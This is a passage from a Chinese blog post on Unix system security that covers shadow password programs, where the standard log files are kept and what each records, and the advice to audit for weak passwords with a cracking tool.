这个程序取代了原来系统的口令保护机制,它将/etc/passwd文件中的口令信息转移到文件/etc/shadow中,还有一些如口令到期机制、允许16字符口令等功能。

D、Passwd+

这是一个典型的增强型口令系统。

三、应有的措施及其基本知识

1、日志文件

大多数日志文件都是由系统一行接着一行写入的文本文件。比如sulog会记录用户使用su命 令试图进入系统的情况,在sulog文件尾部附加一条信息,以记录su命令是否被成功使用。不同版本的UNIX系统存放日志文件的目录不同,常见目录如下:/usr/adm 早期的UNIX系统/var/adm 较新版本的UNIX系统/var/log 用于Solaris\Linux\BSD等系统中在这些目录或其子目录下,你可以找到下列文件acct 或 pacct 记录每个用户使用过的命令aculog 拨出"猫"的记录lastlog 记录用户最后一次成功登陆时间及最后一次失败登陆时间loginlog 不良登陆记录messages 输出到主控台及由syslog系统服务程序产生的消息sulog su的使用情况

utmp 记录当前登陆的每个有户

utmpx 扩展的utmp

wtmp 记录每一次用户登陆和注销的历史信息及系统开关信息

wtmpx 扩展wtmp

vold.log 使用外部介质产生的错误

xferlog FTP存取情况

2、定期运行如crack之类的口令破解程序以检查系统中是否存在弱帐户。


欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/bake/11574577.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-17
下一篇 2023-05-17

发表评论

登录后才能评论

评论列表(0条)

保存